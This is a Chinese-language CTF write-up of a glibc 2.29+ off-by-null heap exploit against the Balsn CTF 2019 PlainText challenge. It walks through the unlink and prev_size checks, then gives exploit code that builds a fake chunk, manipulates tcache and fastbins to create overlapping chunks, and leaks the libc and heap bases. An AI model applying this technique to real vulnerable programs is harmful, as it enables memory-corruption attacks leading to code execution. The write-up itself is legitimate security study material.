在2.29的版本后加入了这样的防护

  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr (“corrupted size vs. prev_size while consolidating”);
unlink_chunk (av, p);
}

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

也就是说上一chunk的size必须要与该chunk的prevsize一致并且还要通过unlink的检测。

所以fake_chunk必须可以控制其size,fd,bk使其 FD->bk == p ; BK->fd == p 。 之后通过溢出修改某一chunk(D)的prevsize和inuse位为\x00 ,此时free(D)与p 形成合并,p与其FD,BK进行unlink操作。即可形成overloap

以Balsn_CTF_2019-PlainText举例:

   for i in range(16):
      add(0x10,'fill')

   for i in range(16):
      add(0x60,'fill')

   for i in range(9):
      add(0x70,'fill')

   for i in range(5):
      add(0xC0,'fill')

   for i in range(2):
      add(0xE0,'fill')

   add(0x170,'fill')
   add(0x190,'fill')
# 49

   add(0xa9D0,'addralign') # 50

1.准备

如果bin里有堆,最好把他申请出来,然后申请到合适的chunk大小使得下一chunk的地址的后16位为\x00 (实际远程时无法控制低4位的大小,需要进行爆破,有1/16的概率)

2.布局

   add(0x28,p64(0) + p64(0x241) + b'\x28') # 53 fd->bk : 0xA0 - 0x18
   add(0x28,'pass-loss control') # 54
   add(0xF8,'pass') # 55
   add(0x28,'pass') # 56
   add(0x28,'pass') # 57
   add(0x28,'pass') # 58
   add(0x28,'pass') # 59
   add(0x28,'pass-loss control') # 60
   add(0x4F8,'to be off-by-null') # 61  0250

其中\x28是p->fd , 0x241是p(fake_chunk的size)之后也会以这个大小与 chunk61 来合并.

3.修复fd

此时BK->fd还没有修复好,为了在修复的同时不破坏掉size,需要把它放入fastbin.同时为了利用地址信息需要把 B , C , A 依次free掉

所以,需要先将Tcache 填满 , 然后依次 free chunk B C A ,清空Tcache ,申请回chunk(A),复写fd,使其指向p (BK-fd构造完成)

然后由于 Tcache 的 stash 机制,chunk B C 进入 Tcache,再申请回来的就是 chunk B,部分覆写使 fd 指向 fake_chunk。(FD->bk构造完成)

   for i in range(7):
      add(0x28,'tcache')
   for i in range(7):
      delete(61 + 1 + i)

   delete(54)     #b  0040
   delete(60)     #c  0230
   delete(53)     #a  0000
   #a->c->b

   for i in range(7):
      add(0x28,'tcache')

# 53,54,60,62,63,64,65
   add(0x28,'\x10') # 53->66  a

## stashed ##
   add(0x28,'\x10') # 54->67  b

   add(0x28,b'a' * 0x20 + p64(0x240)) # 60->68  c   0220
   gdb.attach(io)
   delete(61)  #d

4.泄露

delete(61) #d 后形成了overloap

利用堆重叠进行泄露

add(0x140,'pass') # 61
show(56)
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base:" + hex(libc_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]

add(0x28,'pass') # 69<-56
add(0x28,'pass') # 70<-57
delete(70)
delete(69)
show(56)
heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0
log.success("heap_base:" + hex(heap_base))